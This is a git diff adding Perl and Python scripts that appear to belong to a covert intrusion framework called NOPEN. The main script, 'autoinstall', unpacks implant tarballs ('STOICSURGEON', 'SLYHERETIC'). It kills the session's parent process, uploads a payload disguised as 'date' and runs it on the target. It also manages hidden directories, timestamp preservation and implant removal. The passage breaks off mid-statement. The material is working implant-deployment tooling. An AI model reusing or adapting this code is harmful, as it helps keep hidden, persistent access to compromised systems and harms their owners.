script, if any +VER="2.0.0.1" + +import sys,os + +sys.path = ["/current/tmp"] + sys.path +sys.path = ["/current/etc"] + sys.path + + +if os.path.isfile("/current/etc/autoutils.py"): + from autoutils import * +else: + print "Could not import autoutils.py" + exit() + +if not nopenenv: + die('%s must be run in a NOPEN window' % prog) + + +if re.search('Linux 2\.4',nopen_serverinfo): + print COLOR_FAILURE + '\n\n\n# NOPEN on Linux 2.4 cannot run -ifconfig\n\n' +else: + #autosocket = pilotstart(quiet) + + #print 'TODO: must still write doit() to do this:doit("\\-ifconfig")' + doit("\\-ifconfig") + + + +''' +#!/usr/bin/env perl +## +$VER="1.0.0.1"; + +$| = 1 ; +($scriptcount, $functioncount) = (); +myinit() ; + +if ($nopen_serverinfo =~ /linux 2.4/i +#TESTING: or $nopen_serverinfo =~ /Linux 2.6.18-194.el5PAE \#1 SMP Tue Mar 16 22:00:21 EDT 2010 i686/i + ) { + progprint($COLOR_FAILURE."\n\n\n # NOPEN $serverver cannot run -ifconfig on:\n\n". + $COLOR_NORMAL. + " $nopen_serverinfo, try:\n\n ifconfig -a"); +} else { + my ($output) = doit("\\-ifconfig"); + if ($ifconfig_outfile) { + if ($ifconfig_append) { + writefile("APPEND",$ifconfig_outfile,$output); + } else { + writefile($ifconfig_outfile,$output); + } + } +} + + +# Called via do so must end with 1; +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs ifconfig @ARGV"; + if ($willautoport and $autosocket) { + $stoiccmd = "in $prog, called as: ifconfig(@ARGV)"; + dbg("via require autoifconfig ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); +# progprint("$prog called -gs ifconfig @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs ifconfig"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "hvaf:" ) ) ; + + $ifconfig_outfile = $opt_f; + $ifconfig_append = $opt_a; + + ########################################################################### + # Set strings used in usage before calling it + ########################################################################### + + + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + + usage() if ($opt_h or $opt_v); + + + # Connect to autoport, we need status and more interactively. + # If $autosocket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $autosocket = pilotstart(quiet) unless $autosocket; + + ## ERROR CHECKING OF OPTS + +} + +sub setusagetexts { + # Separate long usage strings as separate function + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=ifconfig\" is used. + +"; + my $newname = $opt_N unless ($opt_N =~ /[\/\s]/); + $newname = "NEWNAME" unless $newname; + + $gsusagetext=" +Usage: $prog [INTERFACE] + +$prog is a wrapper to the NOPEN builtin -ifconfig. If you are on any +Linux 2.4 kernel, $prog will refuse to run -ifconfig for you, otherwise +it does. + +OPTIONS + + -f FILE Save output to file + -a Append when saving to file + +Usage: $prog [INTERFACE] + +"; +}#setusagetexts +''' diff --git a/Linux/etc/autoinstall b/Linux/etc/autoinstall new file mode 100755 index 0000000..4e3602e --- /dev/null +++ b/Linux/etc/autoinstall @@ -0,0 +1,1185 @@ +#!/usr/bin/env perl +## + +# TODO: -gs install -s SOMETHING(standalone mode install SOMETHING) + +use File::Basename ; +$VER="1.3.0.15"; + +$| = 1 ; +my $tarball=""; +my ($installoutput,$errcode,$errstring,$success) = (); +my ($allcontent,$allwarning) = (); +$versionfile = ""; + +myinit() ; +$tarball = "NULL" if $deinstallonly; +if ($ARGV[0]) { + $warning = "$ARGV[0] does not exist\n\n" if + ($tarball ne "NULL" and + ($ARGV[0] =~ /\// or ! ($ARGV[0] =~ /=/)) + ); +} +unless ($logonly) { + unless ($deinstallonly) { + while (!$tarball) { + my @rest=(); + @rest = ("none") if @ARGV; + $tarball = mygetinput("${warning}What tarball (or ABORT)?",@rest); + if (lc $tarball eq "none") { + $tarball = ""; + last; + } + mydie("User aborted") if $tarball =~ /^a/i; + unless (!$tarball or -f $tarball) { + mywarn("$tarball: File does not exist"); + $tarball = ""; + } + } + } +} + +my ($newhostinfocontent,$extrahostinfocontent, + %newhostinfocontentfile,%extrahostinfocontentfile) = (); +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + + +my $stoicinstalldir = "/tmp"; +$stoicinstalldir = $host_nonhiddenworkingdir if $host_nonhiddenworkingdir; +unless ($logonly or $targetcwd eq $stoicinstalldir) { + my ($ans) = mygetinput("Your working directory is not $stoicinstalldir.\n". + "Do you want to -cd to $stoicinstalldir first?","Y"); + if ($ans eq "y") { + my ($output,$nopenlines,@output) + = doit("-cd $stoicinstalldir"); + mydie("Up-arrow and run it again now that you are in $stoicinstalldir"); + } else { + newhostvar("host_workingdir",$targetcwd); + newhostvar("host_nonhiddenworkingdir",$targetcwd); + } +} + +if ($dotpath) { + my ($newpath) = grep /PATH=/,nopenaddpath("."); + mydie("This is bad, our PATH should start with $targetcwd and instead it is: PATH=$newpath") + unless ($newpath =~ m,^PATH=$targetcwd:,); +} + +my $hostfile = "$opdown/hostinfo.$nopen_rhostname"; +if (! -f $hostfile and -f "$hostfile.0000") { + my @list = split(/\n/,`ls -rt1 $hostfile*`); + rename($list[$#list],$hostfile); +} + +offerabort + ("Normally, NOPEN should have run autodone by this time and\n\n". + " $hostfile\n\n". + "would exist by now. You can abort now and run:\n\n". + " -gs auto new\n\n". + "if you want a complete hostinfo file for $prog to append to.\n\n". + "If you continue, $prog will create a partial hostinfo file." + ) unless -s $hostfile; + +my $count = 0; +$count++ while -e "$optmp/${nopen_rhostname}.install.$count"; +$count-- if ($logsuccess or $logfailure); +my $installdir = "$optmp/${nopen_rhostname}.install.$count"; +if ($deinstallonly and ! -s $tarball) { + $installdir = "$opdir"; +} else { + unless (-d $installdir) { + mkdir $installdir or mydie("Could not create $installdir"); + } + chdir $installdir or mydie("Could not cd to $installdir"); +} + +# This part is only when we have a tarball +dbg("Calling: handle($tarball) if tarball=$tarball or logonly=$logonly;"); +my $progress = handle($tarball) if ($tarball or $logonly); + +## END MAIN ## + +sub findversionfile { + local ($dir,$matchstring,$optional) = (@_); + # Returns content of only file in $dir matching $matchstring, which defaults to etc.version + # (match is case insensitive). Unless $optional is set, the file must be there or we mydie(). + + return "" unless ($dir and -d $dir); + $matchstring = "etc.version" unless $matchstring; + my @lines = split(/\n/,`cd $dir 2>/dev/null && find . 2>/dev/null | grep -i "$matchstring" 2>/dev/null`); + return "$dir/$lines[0]" if (@lines == 1 and -s "$dir/$lines[0]" > 0); + my $what = "has more than one"; + $what = "has an empty" if (@lines == 1); + mydie(`cd $dir 2>&1 && find . -ls 2>&1 | grep -i etc.version`."\n". + "Your tarball, unpacked in $dir, $what\n". + "version file. Fix that and try again.") + unless $optional; +} +# findversionfile + +sub handle { + local ($targetball) = (@_); + my $baseball = basename $targetball; +# dbg("In handle(@_)"); + my %toolindex = (); # key=0-N index value=toolname + my $output; + if (!$logonly or $logfailureball or $logsuccessball) { + mydie("Could not properly untar $tarball:\n".`cat $installdir/tar.$baseball.err`) unless + `tar xvjf $targetball 2>$installdir/tar.$baseball.err` or + $targetball eq "NULL"; + $versionfile = findversionfile($installdir); + $slipperyscalpelconfigfile = findversionfile($installdir,"slipperyscalpel.config",1); + progprint($COLOR_NORMAL."\n\n\n". + "Just unpacked in $installdir:\n\n". + `cd $installdir ; find . -name tar.$baseball.err -prune -o -type f -ls | sed "s/.* root //g"`. + "\n\ncat $versionfile\n". + `cat $versionfile 2>/dev/null`); + $logsuccess = $logsuccessball if $logsuccessball; + $logfailure = $logfailureball if $logfailureball; + } + my @versions = readfile("ARRAY","$versionfile"); + my ($stoicver) = grep /STOICSURGEON/i, @versions; + $stoicver =~ s,.*STOICSURGEON.*v,,i; + $stoicver =~ s,\s,,g; + + my ($slyver) = grep /SLYHERETIC/i, @versions; + $slyver =~ s,.*SLYHERETIC.*v,,i; + $slyver =~ s,\s,,g; + + my $zfsnotok = ((verval($stoicver))[1] < (verval("1.7.0.0"))[1]) ? 1 : 0; + my $zfssnapshot = 0; + my @savepids = ($targetpid); + unless ($logonly) { + if ($targetppid > 1) { + my ($ans) = mygetinput + ("You are connected to a listener on port $targetport with pid $targetppid.\n\n". + "You must orphan yourself from that parent, which $prog will do\n". + "for you if you ontinue (i.e., it will kill your parent PID then start a\n". + "fresh listener).\n\n". + "How do you want to proceed (ORPHAN,ABORT)?", + "ORPHAN","A",ABORT,); + mydie("User aborted") if $ans eq "a"; + if ($ans eq "o") { + doit("kill -9 $targetppid"); + my ($listenoutput) = doit("-listen $targetport",); + unless ($skipctrl) { + my ($newpid) = $listenoutput =~ /noclient: server successfully forked new process at PID (\d+)/; + # we -ctrl -k this new listener + if ($newpid > 1) { + `echo "$nopen_rhostname: $newpid ($newpid)" >> $opdown/pid`; + my @opts = ("-k","$newpid"); + push(@opts,$seedopt) if $seedopt; + push(@opts,$dopause) if $dopause; + dbg("Calling stoicctrl(@opts);"); + stoicctrl(@opts); + } + } + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + mydie("Parent PID ($targetppid) not 1 after killing parent.\n\n". + "Big Twinkie Bad here....") + unless ($targetppid eq $initpid); + sleep 2; +#ELSE WAS the CONTINUE case, now deprecated +# } else { +# push @savepids,$targetppid; + } + } + if ($solaristarget) { + my ($output) = myfiletimesave("/devices/pseudo/mm\@0:kmem"); + offerabort("OUTPUT=$output=\n". + "Something appears to be wrong. $prog just tried to save the\n". + "existing timestamps of /devices/pseudo/mm\@0:kmem with -ls -n,\n". + "but the myfiletimesave(\"/devices/pseudo/mm\@0:kmem\") call just\n". + "executed did not return the expected output. Abort and get help\n". + "unless you're directed to continue","A") + unless ($output); + my $incisiondir = "/platform/SUNW,SystemEngine"; + $incisiondir = "/platform/dvri86pc" + if $inteltarget; + # FOR TESTING, uncomment next two lines: + #doit("mkdir /var/tmp/kilroy;rmdir /var/tmp/kilroy"); + #$incisiondir = "/var/tmp/kilroy"; + my $parentdir = dirname($incisiondir); + my $regexp = basename($incisiondir); + ($output,$nopenlines,@output) + = doit("-strings $parentdir"); + if (grep /^$regexp$/ ,@output) { + offerabort + ("$COLOR_FAILURE\n\n". + "You must investigate this. The above -strings command matched\n". + "$incisiondir so we may have had INCISION on here once.\n". + "\n". + "You should only continue if you know it is safe to install over top\n". + "of whatever is there (say, perhaps, INCISION is gone and we know it is).", + "ABORT", + ); + } + } + } + + my (@datefiles) = findfilematching("date","f","$installdir/up"); + my ($datefile,$datefile2) = (@datefiles); + $ctrlfile = "$installdir/up/Stoicsurgeon-Ctrl"; + $ctrlfile = "" if $skipctrl; + + if ($stoicver) { + mydie("$prog only knows how to handle STOICSURGEON tarballs with both\n\t". + "up/date and up/Stoicsurgeon-Ctrl in them") + unless ($tarball eq "NULL" or + (-f $datefile and (-e $ctrlfile or $skipctrl)) or + ($logsuccessball or $logfailureball)); + } elsif ($slyver) { + mydie("$prog only knows how to handle SLYHERETIC tarballs with two\n\t". + "up/date* packages and Slyheretic_Check* files:\n\n". + `cd $installdir ; find . -type f -ls | sed "s,.* root ,,g"` + ) unless ($tarball eq "NULL" or + @datefiles == 2 or + (-f $datefile and (-e $ctrlfile or $skipctrl)) or + ($logsuccessball or $logfailureball)); + } else { + mydie("$prog\n\n". + "There are not any valid installable tools in that file:\n". + "$COLOR_NORMAL\n". + `cd $installdir ; find . -type f -ls | sed "s,.* root ,,g"` + ) + #unless (); + } + + my $problems = ""; + unless ($deinstallonly) { + $versionfile = findversionfile($installdir); + unless ($logonly) { + my ($output,$nopenlines,@output) = doit("=df"); + if ($zfsnotok and my @bad = grep m,^/*rpool.*\s+/$, , fixdf(@output)) { + offerabort + ($COLOR_FAILURE."\n\nTAKE NOTE!!!\n$COLOR_NOTE\n\n ". + join("\n ",@bad2)."\n$COLOR_NORMAL\n". + "The =df above contains \"rpool\" for the / partition. This usually\n". + "indicates that the target is using zfs. An install here would likely\n". + "SUCCEED, however you$COLOR_FAILURE MUST NOT$COLOR_NORMAL do so. Proceed here at\n". + "your own risk.","A"); + offerabort + ($COLOR_FAILURE."\n\nSERIOUSLY!!!\n$COLOR_NORMAL\n". + "Are you sure? If it goes bad, this will be your problem, not mine.","A"); + mywarn("OK. I suppose you think you know what you're doing.\n". + "I'm crossing my fingers for you!! Good luck.\n". + "Proceeding in 5..."); + sleep 5; + } + if ($solaristarget) { + ($output) = doit("-ls /.zfs/snapshot"); + #my ($output2,$nopenlines,@output2) = + #nopenlss("-dUg/.tmp","/.zfs/snapshot/*/var/spool/.* /.zfs/snapshot/*/var/log/.* /.zfs/snapshot/*/lib/.* /.zfs/snapshot/*/dev/.* /.zfs/snapshot/*/etc/.* /.zfs/snapshot/*/.* /.zfs/snapshot/*/var/tmp/.*"); + if ($output) { + $zfssnapshot = $output; + offerabort + (#"output2==\n$output2\n==\n". + $COLOR_FAILURE."\n\nTAKE NOTE!!!\n$COLOR_NOTE\n". + "$COLOR_NORMAL\n". + "If you proceed with an install, files in STOICs directory $COLOR_FAILURE WILL BE$COLOR_NORMAL\n". + "visible in any subsequent /.zfs/snapshot/ partitions that are made. \n". + "See the ZFS guidance, then proceed as appropriate.\n\n","A"); + + } + } + } + + # Old script put individual files per implant in ./up/. If + # we do not have the etc/VERSION file use that instead. + $versionfile = "$installdir/up/.*VERSION" unless -s $versionfile; + if (my $slipperyconfig = readfile($slipperyscalpelconfigfile)) { + offerabort("This build comes with a $slipperyscalpelconfigfile\n". + "file with the following contents:\n". + "==== BEGIN SLIPPERY config on $nopen_rhostname ===\n". + $slipperyconfig. + "==== END SLIPPERY config on $nopen_rhostname ===\n\n". + "Save this in your opnotes.txt.". + ""); + } + my ($installedtools,$nopenlines,@output) + = doit("-lsh cat $versionfile"); + my ($solaristoolversion, + $linuxtoolplatform, + $solaristoolplatform, + $freebsdtoolplatform, + $inteltoolplatform, + $sparctoolplatform, + $toolcomment,@comment, + $toolversion, + $sbguid, + ) = (); + if (my ($tmpsbguid) = grep /straitbizarre/i , @output) { + $tmpsbguid =~ s,-,,g; + ($sbguid) = $tmpsbguid =~ /([a-f0-9]{32})/; + } + if (!$sbguid) { + $tmpsbguid = $targetball; + $tmpsbguid =~ s,-,,g; + ($sbguid) = $tmpsbguid =~ /([a-f0-9]{32})/; + } + + foreach (@output) { + next if /None vNone/; + s/\s/ /g; + if (-e "$installdir/etc/VERSION") { + ($tool,$toolplatform,$toolversion,@comment) = split; + } else { + ($tool,$toolversion,$toolplatform,@comment) = split; + } + $toolcomment = join(" ",@comment); + $linuxtoolplatform = $1 if + $toolplatform =~ /(\S*linux\S*)/i; + + # SOLARIS + $solaristoolplatform = $1 if + $toolplatform =~ /(\S*(sunos|solaris)\S*)/i; + if ($solaristoolplatform =~ /([\d\.]+)$/) { + $solaristoolversion = $1; + } + + # JUNOS + $junostoolplatform = $1 if + $toolplatform =~ /(\S*junos\S*)/i; + if ($junostoolplatform =~ /([\d\.]+)$/) { + $junostoolversion = $1; + } + + # FREEBSD + $freebsdtoolplatform = $1 if + $toolplatform =~ /(\S*(freebsd)\S*)/i; + if ($freebsdtoolplatform =~ /([\d\.]+)$/) { + $freebsdtoolversion = $1; + } + + # HARDWARE + $inteltoolplatform = $1 if + $toolplatform =~ /(\S*[i3456x]+86\S*)/; + $sparctoolplatform = $1 if + $toolplatform =~ /(\S*(sparc|sun4[umc])\S*)/; + + my $sure = 0; + $problems .= " Mismatch on: $tool $toolversion $toolplatform\n" + if (($linuxtarget and !$linuxtoolplatform) or + ($solaristarget and !$solaristoolplatform) or + ($freebsdtarget and !$freebsdtoolplatform) or + ($junostarget and !$junostoolplatform) or + ($inteltarget and !$inteltoolplatform) or + ($sparctarget and !$sparctoolplatform) or + ($freebsdtoolplatform and $freebsdtargetversion + and ($freebsdtargetversion !~ /$freebsdtoolversion/)) or + ($solaristoolversion and $solaristargetversion + and $solaristoolversion ne $solaristargetversion) or + ($junostoolversion and $junostargetversion + and $junostoolversion ne $junostargetversion) + ); + $toolversion =~ s/^v(ersion|\s)*//; + dbg("INSIDE:$_ + linuxtarget=$linuxtarget + solaristarget=$solaristarget solaristargetversion=$solaristargetversion + solaristoolversion=$solaristoolversion solaristargetversion=$solaristargetversion + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + + freebsdtarget=$freebsdtarget= + freebsdtoolplatform=$freebsdtoolplatform + freebsdtargetversion=$freebsdtargetversion + freebsdtoolversion=$freebsdtoolversion + + + problems=$problems== +"); + push @tools,$tool; + $toolindex[$tool] = scalar @tools - 1; + $toolindex["SLIPPERYSCALPEL"] = @tools - 1 + if ($tools[$i] =~ /SLIPPERYSCALPEL/i); + push @versions,$toolversion; + push @toolplatforms,$toolplatform; + push @comments,$toolcomment; + } + if (-f $slipperyscalpelconfigfile and + defined $comments[$toolindex["SLIPPERYSCALPEL"]]) { + my ($content) = doit("-lsh cat $slipperyscalpelconfigfile | sed \"s/^/\#/g\""); + chomp($content); + $content =~ s,[\r\n],::,g; + $content =~ s,[\#],: ,g; + $comments[$toolindex["SLIPPERYSCALPEL"]] .= " INSTALLED WITH CONFIG$content"; + } + } + dbg(" + linuxtarget=$linuxtarget + solaristarget=$solaristarget + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + problems=$problems= +"); + # TODO: Maybe take all non-stoic possibility out of here? + my $stoicinstall = "@tools" =~ /stoicsurgeon/i; + my $slyinstall = "@tools" =~ /slyheretic/i; + $stoicinstall++ if $deinstallonly; + if ($problems) { + my $more = "\n(OS version mismatch: $solaristoolversion ne $solaristargetversion)" + if $solaristoolversion ne $solaristargetversion; + offerabort + ($COLOR_FAILURE.$problems."\n\n". + "WE HAVE A PROBLEM HERE.\n$COLOR_NORMAL\n". + "Target OS: $nopen_serverinfo\n\n". + "Target OS does not match one or more tool platforms.\n\n". + "There appears to a conflict here.".$more, + "A" + ); + offerabort + ($COLOR_FAILURE."ARE YOU SURE?"); + } + my (undef,undef,@problems) = doit("cat /proc/scsi/scsi"); + my (undef,undef,@problems2) = doit("cat /proc/cpuinfo"); + if (grep /(Msft|Virtual Disk)/ , @problems,@problems2) { + my $nother = $problems ? "NOTHER" : ""; + offerabort + ($COLOR_FAILURE."\n\n". + "WE HAVE A$nother PROBLEM HERE.\n$COLOR_NORMAL\n". + "The target's /proc/cpuinfo or /proc/scsi/scsi matches either \"Msft\" or\n". + "\"Virtual Disk\".\n\n". + "STOICSURGEON is known to have serious issues in this environment. Continue\n". + "only if you consult experts (someone else) and are recommended to do so.", + "A"); + my $warn = ""; + while (1) { + my ($ans,$longans) = mygetinput + ($COLOR_FAILURE.$warn.$COLOR_NORMAL."\n\n". + "You must get an expert/second opinion to continue.\n". + "What is that USERID (or you can bort)? "); + mydie("User aborted") if ($ans eq "a"); + $warn = "\nINVALID INPUT TRY AGAIN:"; + if ($gbl_opuser =~ /$longans/) { + $longans = ""; + $warn = "\nMUST NOT BE A CURRENT OPERATOR, TRY AGAIN:"; + } + $longans = int($longans); + last if ($longans > 9999 and $longans < 100000); + } + mydo("autoproblem","-O$longans","Second added to allow install despite match to 'Msft' or 'Virtual Disk'."); + progprint("NOTE: Be sure to use those pastables\n(not in INSERT mode) in your OP DETAILS."); + } + + $remotename = "date" unless $remotename; + my $domore = " ; echo $?" unless $remotename eq "date"; + while (!$deinstallonly and !$logonly) { + my ($remoteexists,$nopenlines,@output) + = doit("-ls $workdir/$remotename"); + if ($remoteexists) { + my ($ans,$newname) = mygetinput + ("Remote file \"$remotename\" already exists. If you CONTINUE,\n". + "you will have to answer \"YES\" to overwrite that file,$COLOR_FAILURE\n". + "AND THAT FILE DOES NOT APPEAR TO BE OURS!\n$COLOR_NORMAL\n". + "If you enter some other name, $prog will try to use that.\n\n". + "Enter \"CONTINUE\" or \"$remotename\" to continue with the name ". + "\"$remotename\",\"ABORT\" to abort, or enter the new name to use: \n", + "CONTINUE" + ); + mydie("User aborted") + if ($newname =~ /^a(bort){0,1}$/i); + last if $newname eq "CONTINUE"; + $remotename = $newname; + } else { + last; + } + } + my ($hiddendir,$safehiddendir) = (); + my $morecheck = ""; + unless ($logonly) { + my $solarismore = ""; + $solarismore = "and also save\nthe initial mtime/atimes of /devices/pseudo/mm\@0:kmem." + unless ($host_touchkmem or !$solaristarget); + + + + + offerabort + ("Looks like the target matches the tarball.\n\n". + "About to upload and execute $datefile$solarismore. Last chance to bail.") + unless $tarball eq "NULL" or $deinstallonly; + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) + = stat($datefile); + if ($stoicinstall) { + # If no previous use of stoic set this, we do so now from $installdir + unless($stoicctrlfile or $skipctrl) { +#dbg("Calling mystoicctrl(,$ctrlfile);"); + mystoicctrl(noprompt,$ctrlfile); + } + my ($priorhiddendir,$priorsafehiddendir,@prioroutput) = gethiddendir(force); + my $alreadyinstalled = ""; + @errs = (); + unless ($skipctrl) { + my @opts = ("-ACE$workdiropt"); + push(@opts,$seedopt) if $seedopt; + push(@opts,$dopause) if $dopause; + stoicctrl(@opts); + ($hiddendir,$safehiddendir,@output) = gethiddendir(); + $alreadyinstalled = !@errs; + } +dbg("hiddendir=$hiddendir= +priorhiddendir=$priorhiddendir="); + if ($skipctrl and $hiddendir) { + offerabort + ("You are skipping use of Ctrl entirely, yet there is already a hidden\n". + "directory. This means your install will proceed anyway, and if the hidden\n". + "directory there is a valid install, it will self-destruct as a side effect\n". + "of this install, destroying any contents in that hidden directory."); + } + if ($alreadyinstalled) { + if (!$hiddendir) { + my $usedto = "$COLOR_FAILURE (AND YOU USED TO!)" + if $priorhiddendir; + offerabort("This is odd. The above -E and -C Ctrl commands returned no error, (meaning\n". + "they worked) yet you do not have a hidden directory visible$usedto."); + } elsif (!$priorhiddendir) { + offerabort("OK, so it looks as if you were NOT priveleged until just now.\n". + "You should see the above -ls PRIOR to elevation (-E/-C) did NOT show\n". + "the hidden directory, and the one after does.\n\n". + "You can abort now (and figure things out) or\n". + "(if maybe you expected this) continue with the install. If you continue,\n". + "you will have options about what to do with the new install."); + } elsif ($priorhiddendir ne $hiddendir) { + #gethiddendir(force,recurse); + # REMOVE THE RECURSE THAT IS BAD WITH / + gethiddendir(force); + offerabort("${COLOR_FAILURE}This is VERY odd$COLOR_NORMAL. You had two different hidden directories, before and after\n". + "the above -E/-C elevation. The above -E and -C Ctrl commands returned no error,\n". + "so they seemed to work, yet your hidden directory is now different???\n\n". + "See above recursive -ls of all possible hidden directories if that helps."); + } + # Other case, where $hiddendir AND priorhiddendir is fine unless they are not the same + } + my $dowhat = ""; + + #mydie("output=$output= alreadyinstalled=$alreadyinstalled="); + if ($alreadyinstalled) { + my ($prompt,$default) = + ("It seems STOICSURGEON is already there (\"-ctrl -EC\" above WORKED).\n\n". + "You have four options (you may answer just the first letter):\n\n". + " DEINSTALL: Use -ctrl -U to completely DEINSTALL previous STOIC.\n". + " This will wipe all content in the hidden dir also.\n". + " UNPATCH : Use -ctrl -n to invoke a partial uninstall (unpatch \n". + " and unload). This removes the software, leaving the hidden\n". + " directory to be re-used by the install to follow.\n". + " CONTINUE : Continue with the install without ANY uninstall of the previous\n". + " STOIC. The old stoic should detect the new one being installed\n". + " and self-destruct before allowing the new one to be installed.\n". + " ABORT : Abort and return to your NOPEN prompt\n\n". + "It is recommended that you DEINSTALL the previous copy first, your default\n". + "option. If proceeding with any install option, $prog will first preserve\n". + "this NOPEN window and any non-init parent pid from being killed by the\n". + "uninstall (using -ctrl -k).\n". + "\n". + "Your choices are DEINSTALL, UNPATCH, CONTINUE and ABORT. Choose:", + "DEINSTALL" + ); + ($prompt,$default) = + ("Confirmed previous installation of STOICSURGEON is still active.\n". + "Last chance to bail before DEINSTALL proceeds.". + "\n\nontinue or bort.","CONTINUE" + ) if $deinstallonly; + my ($ans,$myans) = mygetinput($prompt,$default); + my $elevateerr = ""; + if ($ans eq "a") { + rmctrl(force); + mymydie("User aborted"); + } + ($ans,$myans) = ("d","DEINSTALL") if $deinstallonly; +# dbg("myans=$myans"); + # TODO: If -ctrl fails, upload and use + # /current/install.##/up/Stoicsurgeon-Ctrl instead + stoicctrl("-Azk$workdiropt",$dopause,@savepids); + my $preuninstallhiddendir = $hiddendir; + mydie("-ctrk -k @savepids : FAILED") + if (@errs); +dbg("Before errs=(@errs) nonerrs=(@nonerrs)"); + +# TODO: Log the uninstalls properly with logtool()....need the old versions for that. + + + if ($ans eq "d" or $ans eq "u") { + $dowhat = "DEINSTALL"; + if ($ans eq "d") { + # TODO: stoicctrl would default to a $workdir of the hiddendir, so if + # we did NOT have a $workdir before, we need it to be /tmp now, + # in which case we have to rmctrl. + stoicctrl("-AU$workdiropt",$dopause); +dbg("errs=(@errs) nonerrs=(@nonerrs) + +completeoutput=(\n".join("\n",@completeoutput)."\n) + +"); + } elsif ($ans eq "u") { + $dowhat = "UNPATCH"; + stoicctrl("-An$workdiropt",$dopause); + } +dbg("Now errs=(@errs) nonerrs=(@nonerrs)"); + if (@errs) { + offerabort("$dowhat appeared to fail."); + } +# ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + # We just uninstalled, this is expected to fail + stoicctrl("-zE$workdiropt",$dopause,$targetpid); + $elevateerr = @errs; +# dbg("After -E $targetpid: +#errs=(@errs) +#completeoutput=(@completeoutput) +#elevateerr=$elevateerr= +#"); + ($output,$nopenlines,@output) + = doit("-ls $safehiddendir"); +# dbg("second time hiddendir=$hiddendir safehiddendir=$safehiddendir"); + my ($stillinstalled) = grep m,$preuninstallhiddendir, , @output; + unless ($elevateerr and !$stillinstalled) { + offerabort + ($COLOR_FAILURE. + "$dowhat appeared to fail" + #." yo elevateerr=$elevateerr= stillinstalled=$stillinstalled=" + ); + } else { + if ($deinstallonly) { + mydie("$dowhat appears successful. You are now UNCLOAKED/exposed."); + } + offerabort + ("$dowhat appeared successful.\n". + "About to upload and execute $datefile. Last chance to bail."); + } + } + } else { + mymydie("STOICSURGEON does not appear to be there") + if $deinstallonly; + } + } + rmctrl(force) unless $skipctrl; + if ($extracmd) { + ($ans,$extracmd) = mygetinput + ("You used the -p option: Enter the command or environment definition\n". + "you want to run before running \"$remotename$domore\" (or enter nothing\n". + "or enter ABORT to abort).\n\n". + "Extra command: "); + mydie("User aborted") + if ($extracmd =~ /^\s*abort/i); + $extracmd .= " " if (length $extracmd); + } + + ($output,$nopenlines,@output) + = doit("-put $datefile $workdir/$remotename"); + + mydie("\n\nUpload failed (wrong size or missing?), you have cleanup to do.") + unless ($output =~ m,-rwx------ .* $size .* $workdir/$remotename,); + + # ASSERT: $remotename is up there, executable and the right size. + + if ($dopause) { + doit("-ls $workdir/$remotename"); + offerabort("OK, here's the pause you asked for. Upload worked.\n\n". + "If you abort here, $remotename will$COLOR_FAILURE STILL BE UP THERE!!"); + } + doit("-cd $workdir") unless $targetcwd eq $workdir; + if ($dotpath) { + ($installoutput,$nopenlines,@output) + = doit("${extracmd}PATH=.:\$PATH $remotename$domore"); + } else { + ($installoutput,$nopenlines,@output) + = doit("${extracmd}PATH=. $remotename$domore"); + } + # CD back unless we did not cd, or we came from hidden dir. + doit("-cdp") unless ($targetcwd eq $workdir or + $targetcwd =~ m,/\.[a-f0-9]{32}, or + $targetcwd =~ m,/\.tmp[A-Za-z0-9_-]{6},); + } + $success = "SUCCESSFUL"; + if ($logonly) { + $success = "FAILED" if $logfailure or $logfailureball; + } else { + ($errcode,$errstring) = $installoutput =~ / \d\d:\d\d:(\d\d)/; + + unless ($errcode eq "00") { + $success = "FAILED"; + + + + + my $stoicfile = "$opetc/user.tool.stoicsurgeon.COMMON"; + $stoicfile = "$opetc/user.tool.stoicsurgeon" + unless -e $stoicfile; + my %errstrings=(); + if (-e $stoicfile and open(STOIC,$stoicfile)) { + # This assumes TWO LINE entries in user.tool.stoicsurgeon.COMMON + # for all error codes, with a format matching + my @stoiclines = ; + close(STOIC); + my $lineone = ""; + while (@stoiclines) { + my $line = shift @stoiclines; + next unless ($line =~ /^[ \#]+([0-9]+)/); + my $num =int($1); + $line =~ s/^[ \#\s]*//; + if ($stoiclines[0] =~ /^\#\#\s*([A-Z].*)/) { + chomp($line); + $line .= shift(@stoiclines); + $line =~ s/\#*[ \t]+/ /g; + $line =~ s/\s+$//g; + $line =~ s/[ \t]+/ /g; + } + $errstrings{$num} = "\nTool Comments: FAILED: ERROR CODE $line"; +# $errstrings{$num} .= "Tool Comments:".; +# $errstrings{$num} =~ s/\#*[ \t]+/ /g; +# $errstrings{$num} =~ s/\s+$//g; +# $errstrings{$num} =~ s/[ \t]+/ /g; + dbg("Just set \$errstrings{$num}=$errstrings{$num}="); + } + last if (%errstrings and /^\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#/); + } + + if 